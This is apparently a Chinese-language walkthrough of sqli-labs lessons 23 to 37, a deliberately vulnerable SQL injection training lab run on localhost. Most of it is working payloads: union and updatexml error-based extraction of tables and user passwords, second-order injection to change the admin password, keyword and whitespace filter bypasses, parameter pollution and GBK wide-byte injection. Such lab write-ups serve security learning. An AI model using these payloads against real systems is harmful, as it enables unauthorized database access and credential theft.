sqli-labs项目地址:https://github.com/Audi-1/sqli-labs
文章目录
- Less-23
- Less-24
- Less-25
- Less-26
- Less-27
- Less-28
- Less-29
- Less-30
- Less-31
- Less-32
- Less-33
- Less-34
- Less-35
- Less-36
- Less-37
正文
Less-23
对id
传进来的值过滤了#
,--
SQL注释
不过没关系,可以插入直接闭合掉这条查询语句
从加个单引号观察报错回显,判断是单引号闭合
http://127.0.0.1/sqli-labs/Less-23/?id=1' and '1'='1
成功闭合
联合查询过程如下:
http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,3 and '1'='1
http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,database(),3 and '1'='1
http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1
http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and '1'='1
http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,(select group_concat(username,'-',password,'/') from security.users limit 0,1),'3
也可利用报错注入,过程如下:
http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e) and '1'='1
http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),0x7e) and '1'='1
http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0x7e) and '1'='1
http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),20),0x7e),0x7e) and '1'='1
http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,mid((select group_concat(username,'-',password,'/') from security.users),1,32),0x7e),0x7e) and '1'='1
PS:注意updatexml()最长只能输出32位,记得做截断处理
Less-24
二次注入
本关目标,在不知道admin
用户的密码的情况下,修改数据库中的用户admin
的密码
首先注册一个用户admin'#
,在login_create.php
中并不会触发SQL注入
然后登陆admin'#
用户,这里也不会触发SQL注入
漏洞点在这里
前面所有的用户名和密码的输入都经过了mysql_real_escape_string()
函数的特殊字符转义,但是在pass_change.php
修改密码的时候,用户名确实直接从session中获取,并没有经过任何处理,导致admin'#
中的特殊字符没有转义,插入到sql语句造成了SQL注入,也就是在这里出现了二次注入
当修改admin'#
账户的密码的时候,实际上到数据库中修改的是admin
的密码
这里我们把密码改为mochu777
,查看数据库中的admin
账户密码
成功修改了admin
账户的密码
Less-25
和Less-1一样,唯一的区别就是过滤了or
,and
碰到or
和and
的过滤,一般有以下几种绕过方法:
- 大小写变形绕过,Or ANd 之类的(本关正则规则忽略了大小写,不适用)
- 双写绕过,oorr aandnd(只针对把过滤字符替换为空的情况,本关适用)
- 编码绕过,hex,urlencode
- 符号,and=&& or=||
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=1--+
http://127.0.0.1/sqli-labs/Less-25/?id=1'||updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)--+
思路还是老套路,联合查询,报错注入都行
Less-25a
只是没有单引号,然后注释了报错,报错注入不能用,联合查询注入和盲注都行
不用闭合直接插入执行即可,就不重复造轮子了
Less-26
和上一关唯一的不同就是过滤机制
PS:这关可能存在服务器是windows还是linux的问题,有些空格的绕过方法在windows上没有用
or
and
绕过前面已经讲了,--
和#
的绕过前面也讲过,把注释后面的语句变成闭合后面的语句,而绕过空格有很多办法,不限于这里讲的:%09,%0a,%0c,%0d,%0b,%a0
http://127.0.0.1/sqli-labs/Less-26/?id=1'%0b||%0bupdatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)%0b||%0b'1'='1
Less-26a
修改了包裹参数的处理方法以及注释了报错,还是老套路,不赘述
Less-27
select
和union
可以用大小写变形
和双写绕过
,/s
是指当行匹配模式
http://127.0.0.1/sqli-labs/Less-27/?id=100'uniunionon%0aSeLeCt%0a1,database(),3||'1
http://127.0.0.1/sqli-labs/Less-27/?id=100'uniunionon%0aSeLeCt%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||'1
Less-27a
改了对id
的处理方式,双引号包裹,另外注释了报错
http://127.0.0.1/sqli-labs/Less-27a/?id=100"UnIoN%0aSeLeCt%0a1,database(),3||"1
http://127.0.0.1/sqli-labs/Less-27a/?id=100"UnIoN%0aSeLeCt%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||"1
Less-28
过滤规则前面几行和前面的一样,最后还变成了过滤了union select
payload:http://127.0.0.1/sqli-labs/Less-28/?id=100')unionunion%0aselect%0aselect%0a1,user(),3||('1
http://127.0.0.1/sqli-labs/Less-28/?id=100')unionunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||('1
Less-28a
就是别Less-28少了几个过滤条件
Less-28的payload照样可以用
Less-29
这题的关键是login.php
模拟两层服务器架构对参数的处理,当参数为?id=1&id=2
或者更多参数的时候,apache服务器解析的是最后一个参数
,接下来来看一下如何处理传参,$_SERVER['QUERY_STRING']
获取的是?后面的值,java_implimentation()
函数获取每个参数的值并返回,whitelist
对参数的值做判断,是数字正常执行,不是数字跳转到另一个页面,第一个参数的值为数字即可绕过
http://127.0.0.1/sqli-labs/Less-29/login.php?id=1&id=-1'union select 1,version(),database()--+
Less-30
和上一关相比唯一做了改动的地方也就是这里了,稍微变通一下即可
http://127.0.0.1/sqli-labs/Less-30/login.php?id=1&id=-1"union select 1,version(),database()--+
Less-31
还是只对参数包裹方式做了点改变
http://127.0.0.1/sqli-labs/Less-31/login.php?id=1&id=-1")union select 1,version(),database()--+
Less-32
宽字节注入
单引号双引号还有斜杠都会被转义,但是因为mysql设置的编码是gbk,在gbk
编码中可以使用%df
等可以与\(%5c)
会被gbk编码格式当做汉字的字符放在'
前面,就会形成%df%5c%27
从而使得'(%27)
在查询语句中闭合
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union select 1,version(),database()--+
Less-33
addslashes
也是在给特殊字符转义,和上一题一样的payload
http://127.0.0.1/sqli-labs/Less-33/?id=-1%df'union select 1,database(),user()--+
Less-34
和前面机关也是差不多,只是改成了post传参,稍微注意一下把之前的url编码解码出来拼接上去,payload如下:
uname=123�'union select user(),database()#&passwd=123
Less-35
这一关没有单引号和双引号包裹参数,所以不需要单引号双引号闭合,直接注入
http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,version(),database()--+
Less-36
这一关换成了mysql_real_escape_string()
但是因为还是设置gbk
编码,所以还是能够被突破
http://127.0.0.1/sqli-labs/Less-36/?id=-1%df'union select 1,user(),database()--+
Less-37
还是一样,只不过换成了post传参uname=123�'union select user(),database()#&passwd=123